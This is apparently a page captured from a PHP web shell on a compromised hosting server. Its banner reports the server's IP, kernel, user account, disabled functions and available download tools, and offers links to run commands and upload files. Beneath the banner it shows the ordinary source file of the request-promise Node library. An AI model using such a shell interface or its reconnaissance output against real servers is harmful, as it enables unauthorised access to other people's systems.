Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/node_modules/request-promise/lib/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
'use strict'; var Bluebird = require('bluebird').getNewLibraryCopy(), configure = require('request-promise-core/configure/request2'), stealthyRequire = require('stealthy-require'); try { // Load Request freshly - so that users can require an unaltered request instance! var request = stealthyRequire(require.cache, function () { return require('request'); }, function () { require('tough-cookie'); }, module); } catch (err) { /* istanbul ignore next */ var EOL = require('os').EOL; /* istanbul ignore next */ console.error(EOL + '###' + EOL + '### The "request" library is not installed automatically anymore.' + EOL + '### But is a dependency of "request-promise".' + EOL + '### Please install it with:' + EOL + '### npm install request --save' + EOL + '###' + EOL); /* istanbul ignore next */ throw err; } Bluebird.config({cancellation: true}); configure({ request: request, PromiseImpl: Bluebird, expose: [ 'then', 'catch', 'finally', 'cancel', 'promise' // Would you like to expose more Bluebird methods? Try e.g. `rp(...).promise().tap(...)` first. `.promise()` returns the full-fledged Bluebird promise. ], constructorMixin: function (resolve, reject, onCancel) { var self = this; onCancel(function () { self.abort(); }); } }); request.bindCLS = function RP$bindCLS() { throw new Error('CLS support was dropped. To get it back read: https://github.com/request/request-promise/wiki/Getting-Back-Support-for-Continuation-Local-Storage'); }; module.exports = request;